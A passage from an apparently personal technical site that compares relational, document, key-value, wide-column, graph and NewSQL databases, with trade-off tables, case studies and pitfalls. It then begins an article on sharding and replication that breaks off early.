| ---------------- | ------------------------------------------- | ----------------------------- | ---------------------------------------- |
| Apache Cassandra | Multi-datacenter, tunable consistency       | Tunable (ONE → ALL)           | Time-series, IoT, global apps            |
| Apache HBase     | Hadoop integration, strong consistency      | Strong (single region server) | Analytics on HDFS data                   |
| ScyllaDB         | C++ Cassandra-compatible, higher throughput | Tunable                       | Performance-critical Cassandra workloads |

#### Graph Databases

Nodes and edges as first-class entities. Optimized for traversing relationships.

**Core characteristics:**

- **Index-free adjacency**: Traverse relationships without joins
- **Pattern matching queries**: Find paths, subgraphs efficiently
- **Schema optional**: Flexible relationship types

**Major implementations:**

| Database       | Distinctive Feature                        | Query Language  | Best For                       |
| -------------- | ------------------------------------------ | --------------- | ------------------------------ |
| Neo4j          | Mature, Cypher query language              | Cypher          | Social graphs, recommendations |
| Amazon Neptune | Managed, dual model (property graph + RDF) | Gremlin, SPARQL | AWS-native graph apps          |
| TigerGraph     | Distributed, native parallel processing    | GSQL            | Large-scale analytics          |

### NewSQL: The Convergence

NewSQL databases provide SQL semantics with horizontal scalability—challenging the assumption that you must choose between SQL features and NoSQL scale.

**Core innovation:** Distributed consensus (Paxos/Raft) + MVCC enables serializable transactions across shards.

| Database       | Inspiration   | Distinctive Feature                    | Latency Profile          |
| -------------- | ------------- | -------------------------------------- | ------------------------ |
| Google Spanner | Internal need | TrueTime (atomic clocks + GPS)         | ~14ms commit (global)    |
| CockroachDB    | Spanner       | No specialized hardware, commodity NTP | ~50-100ms (cross-region) |
| TiDB           | MySQL         | MySQL wire protocol compatible         | Similar to MySQL         |
| YugabyteDB     | PostgreSQL    | PostgreSQL wire protocol compatible    | Similar to PostgreSQL    |

**Design trade-off:** These databases accept higher write latency in exchange for strong consistency across regions. Spanner's TrueTime provides ~7ms clock uncertainty; CockroachDB on NTP sees ~100-250ms uncertainty, requiring more conservative commit waits or read refreshes.

## Design Choices

### Choice 1: Data Model

The fundamental choice is how you model your data—this drives which database categories are viable.

#### Relational Model

**Mechanism:** Normalize data into tables, define relationships via foreign keys, use JOINs to reconstruct aggregates.

**When to use:**

- Data has complex many-to-many relationships
- Same data accessed through multiple query patterns
- Referential integrity is critical
- Ad-hoc queries and reporting required

**Trade-offs:**

- ✅ Flexibility: any query pattern supported
- ✅ Data integrity via constraints and transactions
- ✅ Mature tooling, SQL standardization
- ❌ JOINs become expensive at scale
- ❌ Schema changes require migrations
- ❌ Horizontal scaling requires application-level sharding or NewSQL

**Real-world:** GitHub runs on MySQL with 1,200+ tables. Their [2021 migration](https://github.blog/engineering/infrastructure/mysql-high-availability-at-github/) moved from a single primary to Vitess for horizontal scaling, but they retained the relational model because their data is deeply interconnected (repositories, users, issues, pull requests with complex relationships).

#### Document Model

**Mechanism:** Store related data together as nested documents. Access patterns drive document structure—embed data you read together.

**When to use:**

- Data accessed as aggregates (user profile with preferences, addresses, orders)
- Schema evolves frequently
- Limited cross-document relationships
- Document fits in single read (typically <16MB in MongoDB)

**Trade-offs:**

- ✅ Read performance: single document fetch vs. multiple JOINs
- ✅ Schema flexibility: add fields without coordination
- ✅ Natural mapping to application objects
- ❌ Data duplication when same data appears in multiple documents
- ❌ Cross-document queries require careful design
- ❌ Large documents create read/write amplification

**Real-world:** eBay uses MongoDB for their catalog—[product listings](https://www.mongodb.com/customers/ebay) naturally map to documents with varying attributes per category. A "laptop" listing has different fields than "antique furniture." Relational modeling would require either sparse columns (wasted space) or entity-attribute-value (query nightmare).

#### Key-Value Model

**Mechanism:** Store opaque values indexed by keys. The database knows nothing about value structure—just stores and retrieves bytes.

**When to use:**

- Access patterns are pure key lookups
- No need to query by value contents
- Extreme throughput requirements (millions of ops/sec)
- Caching layer in front of other databases

**Trade-offs:**

- ✅ Predictable latency: O(1) lookups
- ✅ Extreme throughput: minimal overhead
- ✅ Simple to reason about and scale
- ❌ No queries beyond key lookup
- ❌ Application responsible for serialization
- ❌ No indexing on value contents

**Real-world:** Discord uses Redis for [presence data](https://discord.com/blog/how-discord-stores-billions-of-messages)—tracking which users are online. The access pattern is simple: get/set by user ID. They handle 40M+ concurrent users with Redis clusters. The data is ephemeral (reconnecting users re-announce presence), so Redis's optional persistence is acceptable.

#### Wide-Column Model

**Mechanism:** Rows identified by key, columns organized into families. Columns can vary per row (sparse). Optimized for sequential scans within partitions.

**When to use:**

- Time-series data with natural time-based partitioning
- Write-heavy workloads (sensor data, event logs)
- Data naturally partitions by one key (user_id, device_id)
- Queries scan ranges within partitions

**Trade-offs:**

- ✅ Write throughput: LSM trees optimize for sequential writes
- ✅ Efficient range scans within partition
- ✅ Multi-datacenter replication built-in
- ❌ No cross-partition joins
- ❌ Requires careful partition key design
- ❌ Read-modify-write requires read before write

**Real-world:** Netflix uses Cassandra for [viewing history](https://netflixtechblog.com/tagged/cassandra)—each user's history is a single partition, with columns for each watched item. Query pattern is always "get viewing history for user X"—perfect for wide-column. They handle 1M+ writes/sec with eventual consistency acceptable for this use case.

#### Graph Model

**Mechanism:** Store entities as nodes, relationships as edges. Queries traverse edges without explicit joins.

**When to use:**

- Queries involve relationship traversal (friends-of-friends, shortest path)
- Relationships are first-class entities with properties
- Schema highly connected (social networks, knowledge graphs)
- Query depth varies (1-hop vs. 6-hop traversals)

**Trade-offs:**

- ✅ Efficient traversals: index-free adjacency
- ✅ Expressive pattern matching queries
- ✅ Natural model for connected data
- ❌ Less efficient for non-graph queries
- ❌ Scaling distributed graphs is complex
- ❌ Smaller ecosystem than relational

**Real-world:** LinkedIn uses graph databases for their [professional graph](https://engineering.linkedin.com/blog/topic/data-infrastructure)—650M+ members with billions of connections. Queries like "show me my 2nd-degree connections who work at Company X" are natural graph traversals. Doing this with SQL JOINs would be prohibitively expensive.

### Decision Matrix: Data Model

| Factor                 | Relational            | Document                  | Key-Value  | Wide-Column           | Graph               |
| ---------------------- | --------------------- | ------------------------- | ---------- | --------------------- | ------------------- |
| **Query flexibility**  | High (SQL)            | Medium (document queries) | None       | Low (partition scans) | High (traversals)   |
| **Schema evolution**   | Migrations required   | Flexible                  | N/A        | Semi-flexible         | Flexible            |
| **Transaction scope**  | Multi-table           | Single/multi-document     | Single key | Single partition      | Multi-node          |
| **JOIN performance**   | Good (indexed)        | Poor (application-side)   | N/A        | Very poor             | Native (traversals) |
| **Write throughput**   | Medium                | Medium                    | Very high  | Very high             | Medium              |
| **Horizontal scaling** | Hard (without NewSQL) | Native                    | Native     | Native                | Medium              |

### Choice 2: Consistency Requirements

Databases offer different consistency guarantees—and often let you choose per-operation. See [Consistency Models and the CAP Theorem](../consistency-and-cap-theorem/README.md) for the theoretical foundation.

#### ACID Transactions

**Mechanism:** Atomicity (all-or-nothing), Consistency (invariants preserved), Isolation (concurrent transactions don't interfere), Durability (committed = permanent).

**When to use:**

- Financial operations (can't double-spend, can't lose money)
- Inventory management (can't oversell)
- Any operation where partial failure is worse than total failure
- Complex business logic spanning multiple records

**Trade-offs:**

- ✅ Strong guarantees simplify application logic
- ✅ Rollback on failure
- ✅ Isolation levels provide flexibility (read committed → serializable)
- ❌ Coordination overhead reduces throughput
- ❌ Distributed transactions add latency
- ❌ Lock contention under high concurrency

**Real-world:** Stripe uses PostgreSQL for their [payment ledger](https://stripe.com/blog/online-migrations)—every money movement must be atomic. A payment that debits but fails to credit would be catastrophic. They've built sophisticated infrastructure to migrate this data without compromising ACID guarantees.

#### BASE Semantics

**Mechanism:** Basically Available (system remains operational), Soft state (data may change without input due to propagation), Eventually consistent (will converge given time).

**When to use:**

- High availability is more important than consistency
- Stale reads are acceptable (user feeds, analytics)
- Partition tolerance required (multi-datacenter)
- Write throughput prioritized over read consistency

**Trade-offs:**

- ✅ Higher availability during network partitions
- ✅ Lower latency (no coordination wait)
- ✅ Better horizontal scalability
- ❌ Application must handle stale reads
- ❌ Conflict resolution complexity
- ❌ Harder to reason about correctness

**Real-world:** Amazon's shopping cart uses DynamoDB with eventual consistency—the [original Dynamo paper](https://www.allthingsdistributed.com/files/amazon-dynamo-sosp2007.pdf) accepted that occasionally losing a cart item was better than showing "service unavailable." The trade-off: 99.999% availability vs. occasional stale cart data.

#### Tunable Consistency

**Mechanism:** Choose consistency level per operation—strong for critical reads, eventual for others.

**DynamoDB example:**

```ts collapse={1-4}
// Setup
import { DynamoDBClient, GetItemCommand } from "@aws-sdk/client-dynamodb"
const client = new DynamoDBClient({})

// Eventually consistent read (default, half the cost, ~1ms)
const eventualRead = await client.send(
  new GetItemCommand({
    TableName: "orders",
    Key: { orderId: { S: "ORD-123" } },
    // ConsistentRead defaults to false
  }),
)

// Strongly consistent read (2x cost, may fail during partition)
const strongRead = await client.send(
  new GetItemCommand({
    TableName: "orders",
    Key: { orderId: { S: "ORD-123" } },
    ConsistentRead: true, // Must read from leader
  }),
)
```

**Cassandra example:**

```sql
-- Eventual: fastest, reads from any replica
SELECT * FROM orders WHERE order_id = 'ORD-123'
USING CONSISTENCY ONE;

-- Local quorum: strong within datacenter
SELECT * FROM orders WHERE order_id = 'ORD-123'
USING CONSISTENCY LOCAL_QUORUM;

-- Global quorum: strong across datacenters (highest latency)
SELECT * FROM orders WHERE order_id = 'ORD-123'
USING CONSISTENCY QUORUM;
```

**When to use:**

- Different operations have different consistency needs
- Want to optimize cost/latency for non-critical reads
- Multi-region deployment with local and global queries

### Decision Matrix: Consistency

| Requirement            | Database Category | Consistency Level           | Example                         |
| ---------------------- | ----------------- | --------------------------- | ------------------------------- |
| Financial transactions | SQL/NewSQL        | Serializable                | Transfer money between accounts |
| Inventory decrement    | SQL/NewSQL        | Read committed + locking    | Reserve last item in stock      |
| User profile read      | Any               | Eventual OK                 | Display user's bio              |
| User sees own write    | Any               | Read-your-writes / Strong   | User saves settings, reloads    |
| Shopping cart          | Document/KV       | Eventual OK, idempotent ops | Add item to cart                |
| Analytics aggregation  | Any               | Eventual OK                 | Dashboard counts                |
| Leader election        | KV with consensus | Linearizable                | etcd, ZooKeeper                 |

### Choice 3: Scaling Strategy

How the database grows with your data and traffic determines long-term viability.

#### Vertical Scaling (Scale Up)

**Mechanism:** Add more CPU, RAM, storage to a single node. Works until you hit hardware limits.

**When to use:**

- Data fits comfortably on one node (< 1TB active dataset)
- Query patterns require JOINs across entire dataset
- Operational simplicity valued over max scale
- Read replicas sufficient for read scaling

**Limits:**

- Largest cloud instances: ~400 vCPU, ~24TB RAM
- I/O bandwidth caps around 100 Gbps
- Single point of failure (even with replicas, writes go to primary)

**Real-world ceiling:** Stack Overflow runs on 2 SQL Server instances (~2TB RAM, ~1.5TB SSD) serving 1.3B page views/month. They [explicitly chose](https://nickcraver.com/blog/2016/02/17/stack-overflow-the-architecture-2016-edition/) vertical scaling over distributed complexity—their data model and query patterns make JOINs essential.

#### Horizontal Scaling (Scale Out)

**Mechanism:** Distribute data across multiple nodes via sharding/partitioning. Each node handles a subset of data.

**When to use:**

- Data exceeds single-node capacity
- Write throughput exceeds single-node capability
- Multi-region deployment required
- Availability requirements demand no single points of failure

**Challenges:**

- **Shard key selection**: Bad keys create hot spots
- **Cross-shard operations**: JOINs become expensive or impossible
- **Rebalancing**: Adding nodes requires data movement
- **Operational complexity**: More nodes = more failure modes

**Sharding strategies:**

| Strategy               | Mechanism                        | Pros                            | Cons                                      |
| ---------------------- | -------------------------------- | ------------------------------- | ----------------------------------------- |
| **Hash-based**         | hash(key) % N shards             | Even distribution               | Range queries scatter                     |
| **Range-based**        | Key ranges per shard             | Efficient range queries         | Hot spots on popular ranges               |
| **Directory-based**    | Lookup table maps keys to shards | Flexible                        | Lookup becomes bottleneck                 |
| **Consistent hashing** | Keys map to ring positions       | Minimal redistribution on scale | Uneven distribution without virtual nodes |

**Real-world:** DynamoDB uses consistent hashing with partition keys. Their [best practices guide](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/bp-partition-key-design.html) emphasizes: "Design partition keys to distribute traffic evenly." A common anti-pattern is using date as partition key for time-series data—all writes hit today's partition.

### Choice 4: Operational Requirements

The best database for your requirements is useless if you can't operate it reliably.

#### Managed vs Self-Hosted

| Factor                | Managed (RDS, Atlas, DynamoDB) | Self-Hosted                   |
| --------------------- | ------------------------------ | ----------------------------- |
| **Setup time**        | Minutes                        | Hours to days                 |
| **Patching**          | Automatic                      | Manual                        |
| **Backups**           | Configured, automatic          | Must implement                |
| **High availability** | Click to enable                | Must architect                |
| **Cost at scale**     | Higher $/GB                    | Lower $/GB, higher $/engineer |
| **Customization**     | Limited                        | Full control                  |
| **Debugging**         | Limited visibility             | Full access                   |

**Real-world consideration:** Cassandra is powerful but operationally complex. DataStax reports that [80% of Cassandra operational issues](https://www.datastax.com/blog/cassandra-anti-patterns) stem from misconfiguration. Teams without distributed systems expertise often underestimate the operational burden.

#### Team Expertise

Choose databases your team can:

1. **Design schemas for**: Document stores require different thinking than relational
2. **Debug in production**: Can you read query plans? Understand compaction storms?
3. **Operate during incidents**: Failover procedures, data recovery
4. **Optimize over time**: Query tuning, index management, capacity planning

## Factors Influencing Design Choices

### Factor 1: Access Patterns

| Pattern                       | Recommended Approach                      | Rationale                               |
| ----------------------------- | ----------------------------------------- | --------------------------------------- |
| Complex ad-hoc queries        | SQL (PostgreSQL, MySQL)                   | Query planner handles arbitrary JOINs   |
| Single-entity lookups by ID   | Key-value (Redis, DynamoDB)               | O(1) access, minimal overhead           |
| Document reads by primary key | Document (MongoDB)                        | Single fetch, nested data co-located    |
| Time-series range scans       | Wide-column (Cassandra, TimescaleDB)      | Partition by time, scan efficiently     |
| Relationship traversals       | Graph (Neo4j)                             | Index-free adjacency, no JOIN explosion |
| Full-text search              | Search engine (Elasticsearch, OpenSearch) | Inverted indexes, relevance scoring     |

### Factor 2: Data Characteristics

| Characteristic                                 | Implications                   | Recommended Approach        |
| ---------------------------------------------- | ------------------------------ | --------------------------- |
| **Highly relational** (many foreign keys)      | JOINs unavoidable              | SQL, accept vertical limits |
| **Hierarchical** (nested structures)           | JOINs for flattening expensive | Document store              |
| **High cardinality keys** (user_id, device_id) | Good for partitioning          | Any distributed DB          |
| **Low cardinality keys** (country, status)     | Hot partitions                 | Composite keys or SQL       |
| **Time-series** (append-mostly)                | Partition by time              | Wide-column, time-series DB |
| **Graph-like** (social network)                | JOINs explosive                | Graph DB                    |

### Factor 3: Scale Requirements

| Scale Factor         | Threshold    | Recommendation                                  |
| -------------------- | ------------ | ----------------------------------------------- |
| **Requests/second**  | < 10K        | Single node, most DBs work                      |
| **Requests/second**  | 10K - 100K   | Read replicas, caching layer                    |
| **Requests/second**  | > 100K       | Sharding or purpose-built (DynamoDB, Cassandra) |
| **Data size**        | < 100GB      | Single node comfortable                         |
| **Data size**        | 100GB - 10TB | Depends on query patterns                       |
| **Data size**        | > 10TB       | Sharding likely required                        |
| **Write throughput** | < 10K/sec    | Single primary                                  |
| **Write throughput** | > 10K/sec    | Multi-leader or sharded                         |

### Factor 4: Consistency Requirements

| Requirement               | Trade-off Accepted               | Database Choice                  |
| ------------------------- | -------------------------------- | -------------------------------- |
| Linearizable transactions | Higher latency, lower throughput | SQL, Spanner, CockroachDB        |
| Read-your-writes          | Sticky sessions or strong reads  | Any with session support         |
| Eventual OK               | May see stale data               | DynamoDB eventual, Cassandra ONE |
| Causal ordering           | Complexity of tracking causality | MongoDB causal sessions          |

## Real-World Case Studies

### Discord: From MongoDB to Cassandra

**Problem:** Discord stores trillions of messages. Their initial MongoDB setup couldn't handle the write throughput as they scaled.

**Why MongoDB failed for this use case:**

- Single-primary write bottleneck
- Data too large to fit in RAM, causing disk thrashing
- Sharding required careful planning they didn't initially have

**Why Cassandra worked:**

- Write throughput: LSM trees optimize for their append-heavy workload
- Partition design: `channel_id` as partition key, `message_id` (Snowflake) as clustering key
- Reads: Messages always accessed by channel, sorted by time

**Implementation details from their [engineering blog](https://discord.com/blog/how-discord-stores-trillions-of-messages):**

- 177 nodes handling 12 billion messages per day
- Hot partition problem: large channels (10M+ messages) caused Cassandra compaction issues
- Solution: migrated to ScyllaDB (C++ Cassandra-compatible) + a data service layer to handle the hot partition problem

**Trade-off accepted:** No cross-channel queries, eventual consistency (acceptable for chat—seeing a message 100ms late is fine).

**Key insight:** The failure wasn't MongoDB's fault—it was a mismatch between workload and database strengths. MongoDB excels at document aggregates; Discord's workload is time-series append with high write throughput.

### Uber: Schemaless (Custom MySQL Layer)

**Problem:** Uber needed to store diverse data types (trips, users, payments) with variable schemas, high write throughput, and multi-datacenter replication.

**Why not off-the-shelf NoSQL:**

- Cassandra: No notification mechanism for downstream consumers
- MongoDB: Single-primary bottleneck
- DynamoDB: AWS-specific, they wanted portability

**Why MySQL underneath:**

- Battle-tested replication
- Well-understood failure modes
- Team expertise

**Their [Schemaless design](https://www.uber.com/blog/schemaless-part-one-mysql-datastore/):**

- MySQL as storage layer (sharded by entity UUID)
- Append-only writes (versioned cells, never update in place)
- Schema stored in application, not DB
- Change notification via trigger + queue

**Trade-off accepted:** Built and operate custom middleware, but got exactly the semantics they needed with known technology.

**Key insight:** Sometimes the right choice is building a specialized layer on proven infrastructure rather than adopting a new database.

### Netflix: Cassandra for Everything?

**Problem:** Netflix needed multiple database capabilities—viewing history, user preferences, real-time analytics, metadata.

**What they learned ([engineering blog](https://netflixtechblog.com/tagged/cassandra)):**

Not everything belongs in Cassandra. Their data platform includes:

- **Cassandra**: Viewing history, real-time data (eventual consistency OK)
- **EVCache (Memcached)**: Session data, frequently accessed metadata
- **MySQL**: Billing, transactions requiring ACID
- **Elasticsearch**: Search and discovery
- **Apache Druid**: Real-time analytics dashboards

**Trade-off accepted:** Operational complexity of multiple databases in exchange for right tool for each job.

**Key insight:** "Polyglot persistence"—use multiple databases, each for its strength—is often the pragmatic choice at scale. The challenge is operational: each database requires expertise.

### Slack: PostgreSQL at Scale

**Problem:** Real-time messaging with complex workspace permissions, search, and integrations.

**Why PostgreSQL survived:**

- Complex permission model (workspace → channel → message) maps naturally to relational
- Full-text search with GIN indexes
- JSONB for flexible message metadata
- Read replicas handle read scaling

**How they scale PostgreSQL ([Strange Loop talk](https://www.youtube.com/watch?v=1m3Wx1XBL3I)):**

- Sharding by workspace (largest customer isolation)
- Vitess-like routing layer
- Heavy use of read replicas
- Redis for presence and real-time features

**Trade-off accepted:** Operational complexity of sharded PostgreSQL, but maintained SQL's query flexibility for complex permission checks.

**Key insight:** SQL can scale further than commonly believed when you invest in sharding infrastructure. The choice to stay relational was driven by query complexity requirements.

## Common Pitfalls

### Pitfall 1: Choosing NoSQL for "Scale" Prematurely

**The mistake:** Starting with Cassandra or MongoDB because "SQL doesn't scale" when data is < 100GB.

**Why it happens:** NoSQL hype, fear of future scaling pain, cargo culting FAANG choices.

**The consequence:** Lost productivity from fighting NoSQL constraints (no JOINs, eventual consistency bugs) when a single PostgreSQL node would suffice.

**The fix:** Start with PostgreSQL. Add read replicas when needed. Shard when you actually hit single-node limits. Stack Overflow serves 1.3B monthly page views on vertical SQL—most apps never reach this scale.

### Pitfall 2: Ignoring Partition Key Design

**The mistake:** Choosing partition keys without analyzing access patterns, then discovering hot partitions in production.

**Why it happens:** Partition key design is often an afterthought. Natural keys (timestamp, status) seem convenient.

**The consequence:** 90% of traffic hits 10% of partitions. Auto-scaling can't help—you need more partitions.

**Real example:** DynamoDB table with `date` as partition key for IoT events. All writes hit today's partition. Throughput capped regardless of provisioned capacity.

**The fix:**

- Analyze access patterns before choosing partition key
- Use composite keys to spread hot keys: `user_id` + `date` instead of just `date`
- Add synthetic prefixes ("salting") for extremely hot keys
- Test with realistic traffic patterns before production

### Pitfall 3: Document Store as Relational

**The mistake:** Using MongoDB like SQL—normalizing data, doing application-side JOINs, expecting referential integrity.

**Why it happens:** Developers think in relational terms, don't redesign for document model.

**The consequence:** N+1 query problems, no transactional integrity across documents, worst of both worlds.

**The fix:** If you need relational semantics, use a relational database. If using documents, embrace denormalization: embed data you read together, accept eventual consistency on references.

### Pitfall 4: Underestimating Operational Complexity

**The mistake:** Choosing Cassandra because it "scales automatically" without distributed systems expertise.

**Why it happens:** Database marketing emphasizes features, not operational requirements.

**The consequence:** Compaction storms, tombstone buildup, hinted handoff failures. Team spends more time firefighting than building features.

**Real example:** [Discord's hot partition crisis](https://discord.com/blog/how-discord-stores-trillions-of-messages) required deep Cassandra expertise to diagnose and fix. Their solution (migrate to ScyllaDB + custom data service) wasn't in any playbook.

**The fix:**

- Staff with expertise or budget for training
- Use managed services (DataStax Astra, Amazon Keyspaces) if lacking expertise
- Consider simpler alternatives (DynamoDB) that trade flexibility for operability

### Pitfall 5: Single Database for All Workloads

**The mistake:** Forcing all data into one database type—either "we're a PostgreSQL shop" or "we're all-in on MongoDB."

**Why it happens:** Desire for simplicity, infrastructure standardization, vendor relationships.

**The consequence:** Square peg, round hole. Using PostgreSQL for cache (slow). Using MongoDB for financial ledger (dangerous). Using Cassandra for complex queries (impossible).

**The fix:** Accept polyglot persistence. Different workloads have different requirements. The operational cost of multiple databases is often lower than the development cost of fighting the wrong database.

## How to Choose

### Step 1: Characterize Your Workload

**Questions to answer:**

1. **Access patterns**: How will data be queried? Point lookups? Range scans? Complex JOINs? Full-text search?
2. **Read/write ratio**: Read-heavy? Write-heavy? Balanced?
3. **Consistency requirements**: What happens if a user reads stale data? What happens if a transaction partially fails?
4. **Scale projections**: How much data in 1 year? 3 years? What's the request rate?

### Step 2: Narrow Database Categories

| If your workload is...                       | Consider...                      |
| -------------------------------------------- | -------------------------------- |
| Complex relational with JOINs                | PostgreSQL, MySQL, NewSQL        |
| Document aggregates, flexible schema         | MongoDB, Couchbase               |
| Simple key-value lookups, extreme throughput | Redis, DynamoDB                  |
| Time-series, append-heavy, range scans       | Cassandra, TimescaleDB, InfluxDB |
| Graph traversals, relationship queries       | Neo4j, Neptune                   |
| Full-text search, analytics                  | Elasticsearch, OpenSearch        |

### Step 3: Evaluate Specific Databases

For each candidate:

1. **Benchmark with realistic workload**: Synthetic benchmarks lie. Test your actual queries.
2. **Evaluate managed vs self-hosted**: Factor in operational cost, not just licensing.
3. **Check ecosystem**: Client libraries, monitoring, tooling for your stack.
4. **Assess team expertise**: The best database is one your team can operate.

### Step 4: Plan for Evolution

**Questions for the future:**

1. Can this database scale to 10x current projections?
2. What's the migration path if requirements change?
3. How do we handle schema evolution?
4. What's the backup/recovery story?

### Decision Framework Summary

```
Start here: What are your access patterns?

├── Complex JOINs across entities
│   └── PostgreSQL/MySQL (vertical first)
│       └── Scale: read replicas → sharding → NewSQL
│
├── Document aggregates (user profile + settings + history)
│   └── MongoDB (with proper indexing)
│       └── Scale: sharding by document ID
│
├── Simple key lookups (session, cache)
│   └── Redis (if data fits in RAM) or DynamoDB (if not)
│
├── Time-series / event streams
│   └── Cassandra (if multi-DC) or TimescaleDB (if SQL needed)
│
├── Relationship-heavy (social graph, recommendations)
│   └── Neo4j (moderate scale) or custom (massive scale)
│
└── Search / text analytics
    └── Elasticsearch/OpenSearch (often alongside primary DB)
```

## Conclusion

The SQL vs NoSQL framing obscures the real decision: matching your data model, access patterns, consistency requirements, and operational capabilities to specific database strengths. Modern databases blur historical categories—PostgreSQL handles JSON elegantly, MongoDB supports ACID transactions, and NewSQL provides SQL at scale.

The key insights:

1. **Access patterns drive choice more than data size.** A 10TB dataset with simple key lookups is easier to scale than 100GB with complex ad-hoc queries.

2. **Consistency is tunable, not binary.** Most production systems use different consistency levels for different operations—strong for financial, eventual for feeds.

3. **Operational capability is a real constraint.** The theoretically optimal database is useless if your team can't operate it. Managed services shift the trade-off toward features at the cost of control.

4. **Polyglot persistence is pragmatic.** Large systems typically use multiple databases, each optimized for specific workloads. The complexity cost is often lower than forcing everything into one paradigm.

5. **Start simple, scale intentionally.** PostgreSQL on a single node handles more than most applications need. Add complexity when you hit actual limits, not anticipated ones.

The best database choice is the one that solves today's problems while preserving optionality for tomorrow's. That usually means choosing well-understood technology with clear scaling paths, not the most powerful system you might someday need.

## Appendix

### Prerequisites

- [Consistency Models and the CAP Theorem](../consistency-and-cap-theorem/README.md) - Understanding consistency guarantees
- Basic understanding of distributed systems concepts
- Familiarity with database fundamentals (indexes, transactions, replication)

### Terminology

- **ACID**: Atomicity, Consistency, Isolation, Durability—transaction guarantees
- **BASE**: Basically Available, Soft state, Eventually consistent—NoSQL trade-off
- **LSM Tree**: Log-Structured Merge Tree—write-optimized storage structure
- **Partition Key**: Key determining which shard/partition stores a record
- **Sharding**: Horizontal partitioning of data across multiple nodes
- **Replication Factor**: Number of copies of data maintained
- **Quorum**: Minimum nodes that must agree for an operation to succeed
- **NewSQL**: Databases combining SQL semantics with horizontal scalability

### Summary

- **Data model is primary**: Relational for complex relationships, document for aggregates, key-value for simple lookups, wide-column for time-series, graph for relationship traversals
- **Access patterns determine viability**: Complex JOINs limit horizontal scaling; simple key lookups scale infinitely
- **Consistency is per-operation**: Choose strong for critical paths, eventual for performance-sensitive reads
- **Operational capability constrains choices**: The best database is one your team can operate reliably
- **Start simple**: PostgreSQL handles more scale than most apps need; add complexity when hitting actual limits
- **Polyglot is pragmatic**: Multiple databases for multiple workloads often beats forcing one paradigm

### References

#### Foundational Papers

- [A Relational Model of Data for Large Shared Data Banks](https://www.seas.upenn.edu/~zives/03f/cis550/codd.pdf) - Codd, 1970. The relational model foundation.
- [Dynamo: Amazon's Highly Available Key-value Store](https://www.allthingsdistributed.com/files/amazon-dynamo-sosp2007.pdf) - DeCandia et al., 2007. Foundation for DynamoDB, Cassandra, Riak.
- [Bigtable: A Distributed Storage System for Structured Data](https://research.google.com/archive/bigtable-osdi06.pdf) - Chang et al., 2006. Foundation for HBase, Cassandra.
- [Spanner: Google's Globally-Distributed Database](https://research.google.com/archive/spanner-osdi2012.pdf) - Corbett et al., 2012. NewSQL foundations.

#### Official Documentation

- [Amazon DynamoDB Best Practices](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/best-practices.html) - Partition key design, single-table patterns
- [MongoDB Data Modeling](https://www.mongodb.com/docs/manual/data-modeling/) - Document model best practices
- [Apache Cassandra Documentation](https://cassandra.apache.org/doc/latest/) - Data modeling, consistency tuning
- [PostgreSQL Documentation](https://www.postgresql.org/docs/current/) - SQL features, performance tuning

#### Engineering Blogs

- [How Discord Stores Trillions of Messages](https://discord.com/blog/how-discord-stores-trillions-of-messages) - MongoDB to Cassandra to ScyllaDB
- [Designing Schemaless, Uber's Scalable Datastore Using MySQL](https://www.uber.com/blog/schemaless-part-one-mysql-datastore/) - Custom layer on proven technology
- [How GitHub Moves Millions of SQL Records](https://github.blog/engineering/infrastructure/mysql-high-availability-at-github/) - MySQL at scale
- [Netflix Tech Blog: Cassandra](https://netflixtechblog.com/tagged/cassandra) - Cassandra at massive scale

#### Books

- [Designing Data-Intensive Applications](https://dataintensive.net/) - Kleppmann, 2017. Comprehensive coverage of storage systems.
- [Database Internals](https://www.databass.dev/) - Petrov, 2019. Deep dive into storage engines.

---

## Sharding and Replication

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-fundamentals/sharding-and-replication
**Category:** System Design / System Design Fundamentals
**Description:** Scaling data stores beyond a single machine requires two complementary strategies: sharding (horizontal partitioning) distributes data across nodes to scale writes and storage capacity; replication copies data across nodes to improve read throughput and availability. These mechanisms are orthogonal—you choose a sharding strategy independently from a replication model—but their interaction determines your system’s consistency, availability, and operational complexity. This article covers design choices, trade-offs, and production patterns from systems handling millions of queries per second.

# Sharding and Replication

Scaling data stores beyond a single machine requires two complementary strategies: **sharding** (horizontal partitioning) distributes data across nodes to scale writes and storage capacity; **replication** copies data across nodes to improve read throughput and availability. These mechanisms are orthogonal—you choose a sharding strategy independently from a replication model—but their interaction determines your system's consistency, availability, and operational complexity. This article covers design choices, trade-offs, and production patterns from systems handling millions of queries per second.

<figure>

![Sharding partitions data horizontally; replication copies each shard for fault tolerance. Router directs traffic based on shard key.](./sharding-partitions-data-horizontally-replication-copies-each-shard-for-fault-to.svg)

<figcaption>Sharding partitions data horizontally; replication copies each shard for fault tolerance. Router directs traffic based on shard key.</figcaption>
</figure>

## Abstract

The mental model: **sharding solves capacity, replication solves availability**. A single machine has finite write throughput, storage, and memory—sharding breaks the data into partitions that can live on different machines, scaling these resources linearly. But each shard is now a single point of failure—replication creates copies so the system survives node failures.

**These are independent design axes:**

| Axis                   | Options                                 | Determines                                 |
| ---------------------- | --------------------------------------- | ------------------------------------------ |
| **Sharding strategy**  | Hash, range, consistent hash, directory | Data distribution, query efficiency        |
| **Replication model**  | Single-leader, multi-leader, leaderless | Consistency guarantees, write availability |
| **Replication timing** | Sync, async, semi-sync                  | Durability vs. latency                     |

Every combination is valid:

- **CockroachDB** (v24.x): Range partitioning + Multi-Raft consensus—each 64MB range is an independent Raft group
- **Cassandra/ScyllaDB**: Consistent hashing + leaderless replication—vnodes or tablets for load distribution
- **DynamoDB**: Hash partitioning + quorum-based replication—partition key determines data placement
- **Vitess** (powers Slack at 2.3M QPS): Directory-based sharding + MySQL single-leader replication

The choice depends on access patterns, consistency requirements, and operational capacity.

## Sharding Strategies

Sharding (also called horizontal partitioning) splits data across multiple nodes. The shard key determines which node owns each record. The strategy choice affects query efficiency, load distribution, and operational complexity.

### Hash Partitioning

Apply a hash function to the shard key; the hash value determines the target shard.

**Mechanism**: `shard_id = hash(key) % num_shards`. Uniform hash functions distribute keys evenly regardless of key distribution.

**When to use**:

- Random point reads/writes (e.g., user profiles by user ID)
- Write-heavy workloads needing even distribution
- No range query requirements

**Trade-offs**:

- ✅ Even distribution with good hash function—prevents hot shards from skewed key distribution
- ✅ Simple routing logic
- ❌ Range queries require scatter-gather across all shards
- ❌ Adding/removing shards requires rehashing all keys (mitigated by consistent hashing)

